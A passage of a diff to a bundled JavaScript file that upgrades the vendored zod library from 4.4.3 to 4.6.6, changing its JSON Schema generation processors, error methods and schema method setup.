(typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; json3.type = "array"; - json3.items = process2(def.element, ctx, { + json3.items = processSchema(def.element, ctx, { ...params, path: [...params.path, "items"] }); }; +function inputOptin(schema) { + const def = schema._zod.def; + if (def.type === "pipe" && def.in._zod.traits.has("$ZodTransform")) { + return inputOptin(def.out); + } + if (def.type === "catch") { + return inputOptin(def.innerType); + } + return schema._zod.optin; +} var objectProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; + const shape = def.shape; + const symbolKeys = Object.getOwnPropertySymbols(shape); + if (symbolKeys.length && handleUnrepresentable(schema, ctx, json3, params, "Symbol keys cannot be represented in JSON Schema")) { + return; + } json3.type = "object"; json3.properties = {}; - const shape = def.shape; for (const key in shape) { - json3.properties[key] = process2(shape[key], ctx, { + assignProp(json3.properties, key, processSchema(shape[key], ctx, { ...params, path: [...params.path, "properties", key] - }); + })); } - const allKeys = new Set(Object.keys(shape)); - const requiredKeys = new Set([...allKeys].filter((key) => { - const v = def.shape[key]._zod; - if (ctx.io === "input") { - return v.optin === void 0; - } else { - return v.optout === void 0; + const requiredKeys = []; + for (const key of Object.keys(shape)) { + const field = def.shape[key]; + if (ctx.io === "input" ? inputOptin(field) === void 0 : field._zod.optout === void 0) { + requiredKeys.push(key); } - })); - if (requiredKeys.size > 0) { - json3.required = Array.from(requiredKeys); + } + if (requiredKeys.length > 0) { + json3.required = requiredKeys; } if (def.catchall?._zod.def.type === "never") { json3.additionalProperties = false; @@ -66787,7 +71246,7 @@ var objectProcessor = (schema, ctx, _json, params) => { if (ctx.io === "output") json3.additionalProperties = false; } else if (def.catchall) { - json3.additionalProperties = process2(def.catchall, ctx, { + json3.additionalProperties = processSchema(def.catchall, ctx, { ...params, path: [...params.path, "additionalProperties"] }); @@ -66796,7 +71255,7 @@ var objectProcessor = (schema, ctx, _json, params) => { var unionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; const isExclusive = def.inclusive === false; - const options = def.options.map((x, i) => process2(x, ctx, { + const options = def.options.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] })); @@ -66808,11 +71267,11 @@ var unionProcessor = (schema, ctx, json3, params) => { }; var intersectionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const a = process2(def.left, ctx, { + const a = processSchema(def.left, ctx, { ...params, path: [...params.path, "allOf", 0] }); - const b2 = process2(def.right, ctx, { + const b2 = processSchema(def.right, ctx, { ...params, path: [...params.path, "allOf", 1] }); @@ -66822,6 +71281,7 @@ var intersectionProcessor = (schema, ctx, json3, params) => { ...isSimpleIntersection(b2) ? b2.allOf : [b2] ]; json3.allOf = allOf; + ctx.intersections.push(allOf); }; var tupleProcessor = (schema, ctx, _json, params) => { const json3 = _json; @@ -66829,19 +71289,35 @@ var tupleProcessor = (schema, ctx, _json, params) => { json3.type = "array"; const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; - const prefixItems = def.items.map((x, i) => process2(x, ctx, { + const prefixItems = def.items.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, prefixPath, i] })); - const rest = def.rest ? process2(def.rest, ctx, { + const rest = def.rest ? processSchema(def.rest, ctx, { ...params, path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] }) : null; + let minItems = def.items.length; + while (minItems > 0) { + const item = def.items[minItems - 1]; + const optional2 = ctx.io === "input" ? inputOptin(item) !== void 0 : item._zod.optout === "optional"; + if (!optional2) + break; + minItems--; + } + const maxItems = def.items.length; + const isClosed = !def.rest; if (ctx.target === "draft-2020-12") { json3.prefixItems = prefixItems; - if (rest) { + if (isClosed) { + json3.items = false; + } else if (rest) { json3.items = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else if (ctx.target === "openapi-3.0") { json3.items = { anyOf: prefixItems @@ -66849,61 +71325,137 @@ var tupleProcessor = (schema, ctx, _json, params) => { if (rest) { json3.items.anyOf.push(rest); } - json3.minItems = prefixItems.length; - if (!rest) { - json3.maxItems = prefixItems.length; - } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else { json3.items = prefixItems; - if (rest) { + if (isClosed) { + json3.additionalItems = false; + } else if (rest) { json3.additionalItems = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; }; +function stringifyKeyNames(bySchema, json3, visited) { + if (json3.$ref) { + if (visited.has(json3)) + return json3; + visited.add(json3); + const def = bySchema.get(json3)?.def; + if (!def) + return json3; + const inlined = stringifyKeyNames(bySchema, def, visited); + return inlined === def ? json3 : inlined; + } + for (const keyword of ["anyOf", "oneOf"]) { + const branches = json3[keyword]; + if (!Array.isArray(branches)) + continue; + const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited)); + if (mapped.some((branch, i) => branch !== branches[i])) + json3 = { ...json3, [keyword]: mapped }; + } + const types2 = Array.isArray(json3.type) ? json3.type : [json3.type]; + const numericType = !types2.includes("string") && types2.some((t) => t === "number" || t === "integer"); + const values2 = json3.enum ?? (json3.const !== void 0 ? [json3.const] : void 0); + if (!numericType && !values2?.some((v) => typeof v === "number")) + return json3; + const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json3; + if (rest.enum) + rest.enum = rest.enum.map((v) => typeof v === "number" ? String(v) : v); + else if (typeof rest.const === "number") + rest.const = String(rest.const); + if (!numericType) + return rest; + rest.type = "string"; + if (!values2) + rest.pattern = (types2.includes("number") ? number : integer).source; + return rest; +} +var pendingRecords = /* @__PURE__ */ new WeakMap(); +function rewriteKeyNames(ctx) { + const bySchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.values()) { + if (entry.def && !bySchema.has(entry.schema)) + bySchema.set(entry.schema, entry); + } + const rewrites = /* @__PURE__ */ new Map(); + for (const record2 of pendingRecords.get(ctx) ?? []) { + const seen = ctx.seen.get(record2); + const names = (seen?.def ?? seen?.schema)?.propertyNames; + if (!names || names === true || rewrites.has(names)) + continue; + const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set()); + if (rewritten !== names) + rewrites.set(names, rewritten); + } + if (!rewrites.size) + return; + for (const entry of ctx.seen.values()) { + for (const carrier of [entry.schema, entry.def]) { + const rewritten = carrier && rewrites.get(carrier.propertyNames); + if (rewritten) + carrier.propertyNames = rewritten; + } + } +} var recordProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; json3.type = "object"; const keyType = def.keyType; - const keyBag = keyType._zod.bag; - const patterns = keyBag?.patterns; + const patterns = aggregateChecks(keyType).patterns; if (def.mode === "loose" && patterns && patterns.size > 0) { - const valueSchema = process2(def.valueType, ctx, { + const valueSchema = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "patternProperties", "*"] }); json3.patternProperties = {}; for (const pattern of patterns) { - json3.patternProperties[pattern.source] = valueSchema; + assignProp(json3.patternProperties, exactPattern(pattern).source, valueSchema); } } else { if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { - json3.propertyNames = process2(def.keyType, ctx, { + json3.propertyNames = processSchema(def.keyType, ctx, { ...params, path: [...params.path, "propertyNames"] }); + let pending = pendingRecords.get(ctx); + if (!pending) { + pending = []; + pendingRecords.set(ctx, pending); + ctx.deferred.push(() => rewriteKeyNames(ctx)); + } + pending.push(schema); } - json3.additionalProperties = process2(def.valueType, ctx, { + json3.additionalProperties = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "additionalProperties"] }); } const keyValues = keyType._zod.values; - if (keyValues) { + const omittableOnInput = ctx.io === "input" && inputOptin(def.valueType) !== void 0; + if (keyValues && !def.partial && !omittableOnInput) { const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); if (validKeyValues.length > 0) { - json3.required = validKeyValues; + json3.required = validKeyValues.map(String); } } }; var nullableProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const inner = process2(def.innerType, ctx, params); + const inner = processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); if (ctx.target === "openapi-3.0") { seen.ref = def.innerType; @@ -66914,35 +71466,55 @@ var nullableProcessor = (schema, ctx, json3, params) => { }; var nonoptionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; +var UNREPRESENTABLE_DEFAULT = Symbol(); +function serializeDefaultValue(value, schema, ctx, json3, params) { + let unrepresentable = false; + const serialized = JSON.stringify(value, (_, val) => { + if (typeof val !== "bigint") + return val; + unrepresentable = true; + return null; + }); + if (!unrepresentable) + return JSON.parse(serialized); + handleUnrepresentable(schema, ctx, json3, params, "BigInt defaults cannot be represented in JSON Schema"); + return UNREPRESENTABLE_DEFAULT; +} var defaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - json3.default = JSON.parse(JSON.stringify(def.defaultValue)); + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3.default = value; }; var prefaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - if (ctx.io === "input") - json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); + if (ctx.io !== "input") + return; + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3._prefault = value; }; var catchProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; let catchValue; try { catchValue = def.catchValue(void 0); } catch { - throw new Error("Dynamic catch values are not supported in JSON Schema"); + handleUnrepresentable(schema, ctx, json3, params, "Dynamic catch values are not supported in JSON Schema"); + return; } json3.default = catchValue; }; @@ -66950,32 +71522,32 @@ var pipeProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; const inIsTransform = def.in._zod.traits.has("$ZodTransform"); const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; var readonlyProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; json3.readOnly = true; }; var promiseProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var optionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var lazyProcessor = (schema, ctx, _json, params) => { const innerType = schema._zod.innerType; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; @@ -67020,14 +71592,14 @@ var allProcessors = { optional: optionalProcessor, lazy: lazyProcessor }; -function toJSONSchema(input, params) { - if ("_idmap" in input) { - const registry2 = input; +function toJSONSchema(input2, params) { + if ("_idmap" in input2) { + const registry2 = input2; const ctx2 = initializeContext({ ...params, processors: allProcessors }); const defs = {}; for (const entry of registry2._idmap.entries()) { const [_, schema] = entry; - process2(schema, ctx2); + processSchema(schema, ctx2); } const schemas = {}; const external = { @@ -67039,7 +71611,7 @@ function toJSONSchema(input, params) { for (const entry of registry2._idmap.entries()) { const [key, schema] = entry; extractDefs(ctx2, schema); - schemas[key] = finalize(ctx2, schema); + assignProp(schemas, key, finalize(ctx2, schema)); } if (Object.keys(defs).length > 0) { const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; @@ -67050,12 +71622,12 @@ function toJSONSchema(input, params) { return { schemas }; } const ctx = initializeContext({ ...params, processors: allProcessors }); - process2(input, ctx); - extractDefs(ctx, input); - return finalize(ctx, input); + processSchema(input2, ctx); + extractDefs(ctx, input2); + return finalize(ctx, input2); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-generator.js var JSONSchemaGenerator = class { /** @deprecated Access via ctx instead */ get metadataRegistry() { @@ -67065,6 +71637,7 @@ var JSONSchemaGenerator = class { get target() { return this.ctx.target; } + // annotated so the .d.cts emits an indexed access rather than an inline `import()` of an ESM path /** @deprecated Access via ctx instead */ get unrepresentable() { return this.ctx.unrepresentable; @@ -67108,7 +71681,7 @@ var JSONSchemaGenerator = class { * This must be called before emit(). */ process(schema, _params = { path: [], schemaPath: [] }) { - return process2(schema, this.ctx, _params); + return processSchema(schema, this.ctx, _params); } /** * Emit the final JSON Schema after processing. @@ -67123,6 +71696,8 @@ var JSONSchemaGenerator = class { if (_params.external) this.ctx.external = _params.external; } + this.ctx.sharedDefsExtractedFor = void 0; + this.ctx.sharedEmitDoneFor = void 0; extractDefs(this.ctx, schema); const result = finalize(this.ctx, schema); const { "~standard": _, ...plainResult } = result; @@ -67130,10 +71705,10 @@ var JSONSchemaGenerator = class { } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema.js var json_schema_exports = {}; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js var schemas_exports2 = {}; __export(schemas_exports2, { ZodAny: () => ZodAny, @@ -67149,6 +71724,7 @@ __export(schemas_exports2, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -67162,8 +71738,14 @@ __export(schemas_exports2, { ZodFile: () => ZodFile, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodJWT: () => ZodJWT, ZodKSUID: () => ZodKSUID, @@ -67219,10 +71801,12 @@ __export(schemas_exports2, { cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -67239,6 +71823,7 @@ __export(schemas_exports2, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -67304,7 +71889,7 @@ __export(schemas_exports2, { xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/checks.js var checks_exports2 = {}; __export(checks_exports2, { endsWith: () => _endsWith, @@ -67327,6 +71912,7 @@ __export(checks_exports2, { normalize: () => _normalize, overwrite: () => _overwrite, positive: () => _positive, + properties: () => _properties, property: () => _property, regex: () => _regex, size: () => _size, @@ -67338,88 +71924,53 @@ __export(checks_exports2, { uppercase: () => _uppercase }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js -var iso_exports = {}; -__export(iso_exports, { - ZodISODate: () => ZodISODate, - ZodISODateTime: () => ZodISODateTime, - ZodISODuration: () => ZodISODuration, - ZodISOTime: () => ZodISOTime, - date: () => date2, - datetime: () => datetime2, - duration: () => duration2, - time: () => time2 -}); -var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { - $ZodISODateTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function datetime2(params) { - return _isoDateTime(ZodISODateTime, params); -} -var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { - $ZodISODate.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function date2(params) { - return _isoDate(ZodISODate, params); -} -var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { - $ZodISOTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function time2(params) { - return _isoTime(ZodISOTime, params); -} -var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { - $ZodISODuration.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function duration2(params) { - return _isoDuration(ZodISODuration, params); +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/errors.js +var _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +function _lazyMethod(proto, key, make) { + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const value = make(this); + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + } + }); } - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js var initializer2 = (inst, issues) => { $ZodError.init(inst, issues); inst.name = "ZodError"; - Object.defineProperties(inst, { - format: { - value: (mapper) => formatError(inst, mapper) - // enumerable: false, - }, - flatten: { - value: (mapper) => flattenError(inst, mapper) - // enumerable: false, - }, - addIssue: { - value: (issue2) => { - inst.issues.push(issue2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - addIssues: { - value: (issues2) => { - inst.issues.push(...issues2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - isEmpty: { - get() { - return inst.issues.length === 0; - } - // enumerable: false, + const proto = Object.getPrototypeOf(inst); + if (_installedErrorProtos.has(proto)) + return; + _installedErrorProtos.add(proto); + _lazyMethod(proto, "format", (self2) => (mapper) => formatError(self2, mapper)); + _lazyMethod(proto, "flatten", (self2) => (mapper) => flattenError(self2, mapper)); + _lazyMethod(proto, "addIssue", (self2) => (issue2) => { + self2.issues.push(issue2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + _lazyMethod(proto, "addIssues", (self2) => (issues2) => { + self2.issues.push(...issues2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + Object.defineProperty(proto, "isEmpty", { + configurable: true, + enumerable: false, + get() { + return this.issues.length === 0; } }); }; var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); -var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, void 0, { Parent: Error }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/parse.js var parse2 = /* @__PURE__ */ _parse(ZodRealError); var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); @@ -67433,182 +71984,202 @@ var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js -var _installedGroups = /* @__PURE__ */ new WeakMap(); -function _installLazyMethods(inst, group, methods) { - const proto = Object.getPrototypeOf(inst); - let installed = _installedGroups.get(proto); - if (!installed) { - installed = /* @__PURE__ */ new Set(); - _installedGroups.set(proto, installed); - } - if (installed.has(group)) - return; - installed.add(group); - for (const key in methods) { - const fn = methods[key]; - Object.defineProperty(proto, key, { - configurable: true, - enumerable: false, - get() { - const bound = fn.bind(this); - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: bound - }); - return bound; - }, - set(v) { - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: v - }); - } - }); - } +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js +function _ensureDefaultLocale() { + if (!globalConfig.localeError) + config(en_default()); +} +function _ensureDefaultMemoizer() { + if (!globalConfig.memoizer) + config({ memoizer: memoizer() }); } var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + _ensureDefaultLocale(); $ZodType.init(inst, def); - Object.assign(inst["~standard"], { - jsonSchema: { - input: createStandardJSONSchemaMethod(inst, "input"), - output: createStandardJSONSchemaMethod(inst, "output") - } - }); - inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); inst.def = def; inst.type = def.type; - Object.defineProperty(inst, "_def", { value: def }); - inst.parse = (data, params) => parse2(inst, data, params, { callee: inst.parse }); - inst.safeParse = (data, params) => safeParse2(inst, data, params); - inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); - inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); - inst.spa = inst.safeParseAsync; - inst.encode = (data, params) => encode3(inst, data, params); - inst.decode = (data, params) => decode3(inst, data, params); - inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); - inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); - inst.safeEncode = (data, params) => safeEncode2(inst, data, params); - inst.safeDecode = (data, params) => safeDecode2(inst, data, params); - inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); - inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); - _installLazyMethods(inst, "ZodType", { - check(...chks) { - const def2 = this.def; - return this.clone(util_exports.mergeDefs(def2, { - checks: [ - ...def2.checks ?? [], - ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) - ] - }), { parent: true }); - }, - with(...chks) { - return this.check(...chks); - }, - clone(def2, params) { - return clone(this, def2, params); - }, - brand() { - return this; - }, - register(reg, meta3) { - reg.add(this, meta3); - return this; - }, - refine(check3, params) { - return this.check(refine(check3, params)); - }, - superRefine(refinement, params) { - return this.check(superRefine(refinement, params)); - }, - overwrite(fn) { - return this.check(_overwrite(fn)); - }, - optional() { - return optional(this); - }, - exactOptional() { - return exactOptional(this); - }, - nullable() { - return nullable(this); - }, - nullish() { - return optional(nullable(this)); - }, - nonoptional(params) { - return nonoptional(this, params); - }, - array() { - return array(this); - }, - or(arg) { - return union([this, arg]); - }, - and(arg) { - return intersection(this, arg); - }, - transform(tx) { - return pipe(this, transform(tx)); - }, - default(d) { - return _default2(this, d); - }, - prefault(d) { - return prefault(this, d); - }, - catch(params) { - return _catch2(this, params); - }, - pipe(target) { - return pipe(this, target); - }, - readonly() { - return readonly(this); - }, - describe(description) { - const cl = this.clone(); - globalRegistry.add(cl, { description }); - return cl; - }, - meta(...args) { - if (args.length === 0) - return globalRegistry.get(this); - const cl = this.clone(); - globalRegistry.add(cl, args[0]); - return cl; - }, - isOptional() { - return this.safeParse(void 0).success; - }, - isNullable() { - return this.safeParse(null).success; - }, - apply(fn) { - return fn(this); - } - }); - Object.defineProperty(inst, "description", { - get() { - return globalRegistry.get(inst)?.description; - }, - configurable: true - }); return inst; +}, { + check(...chks) { + const def = this.def; + return this.clone(util_exports.mergeDefs(def, { + checks: [ + ...def.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def, params) { + return clone(this, def, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check3, params) { + return this.check(refine(check3, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn, ...args) { + return args.length === 0 ? fn(this) : fn(this, ...args); + }, + // Overrides core's `~standard` to add `jsonSchema`. Must stay a prototype entry: redefining it per instance demotes instances to dictionary mode. + get "~standard"() { + return util_exports.hide(this, "~standard", { + ...standardProps(this), + jsonSchema: { + input: createStandardJSONSchemaMethod(this, "input"), + output: createStandardJSONSchemaMethod(this, "output") + } + }); + }, + set "~standard"(value) { + util_exports.own(this, "~standard", value); + }, + parse: function _parse2(data, params) { + return parse2(this, data, params, { callee: _parse2 }); + }, + parseAsync: async function _parseAsync2(data, params) { + return await parseAsync2(this, data, params, { callee: _parseAsync2 }); + }, + safeParse(data, params) { + return safeParse2(this, data, params); + }, + async safeParseAsync(data, params) { + return safeParseAsync2(this, data, params); + }, + // `spa` is an alias: same function object as `safeParseAsync`, as before. + get spa() { + return this?.safeParseAsync; + }, + set spa(value) { + util_exports.own(this, "spa", value); + }, + validate(data, params) { + return validate(this, data, params); + }, + validateAsync(data, params) { + return validateAsync(this, data, params); + }, + encode: function _encode2(data, params) { + return encode3(this, data, params, { callee: _encode2 }); + }, + decode: function _decode2(data, params) { + return decode3(this, data, params, { callee: _decode2 }); + }, + encodeAsync: async function _encodeAsync2(data, params) { + return await encodeAsync2(this, data, params, { callee: _encodeAsync2 }); + }, + decodeAsync: async function _decodeAsync2(data, params) { + return await decodeAsync2(this, data, params, { callee: _decodeAsync2 }); + }, + safeEncode(data, params) { + return safeEncode2(this, data, params); + }, + safeDecode(data, params) { + return safeDecode2(this, data, params); + }, + async safeEncodeAsync(data, params) { + return safeEncodeAsync2(this, data, params); + }, + async safeDecodeAsync(data, params) { + return safeDecodeAsync2(this, data, params); + }, + toJSONSchema(params) { + return createToJSONSchemaMethod(this, {})(params); + }, + // Reads through to the registry on every access, so it must not cache. + get description() { + return globalRegistry.get(this)?.description; + }, + // No setter: `schema._def = x` throws, as it did when `_def` was a non-writable own property. + get _def() { + return this._zod.def; + } }); -var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { - $ZodString.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); - const bag = inst._zod.bag; - inst.format = bag.format ?? null; - inst.minLength = bag.minimum ?? null; - inst.maxLength = bag.maximum ?? null; - _installLazyMethods(inst, "_ZodString", { +var _ZodString = /* @__PURE__ */ $constructor( + "_ZodString", + (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + format: (inst) => aggregateChecks(inst).format ?? null, + minLength: (inst) => aggregateChecks(inst).minimum ?? null, + maxLength: (inst) => aggregateChecks(inst).maximum ?? null + }, { regex(...args) { return this.check(_regex(...args)); }, @@ -67654,38 +72225,90 @@ var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { slugify() { return this.check(_slugify()); } - }); -}); + }) +); var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { $ZodString.init(inst, def); _ZodString.init(inst, def); - inst.email = (params) => inst.check(_email(ZodEmail, params)); - inst.url = (params) => inst.check(_url(ZodURL, params)); - inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); - inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); - inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); - inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); - inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); - inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); - inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); - inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); - inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); - inst.base64url = (params) => 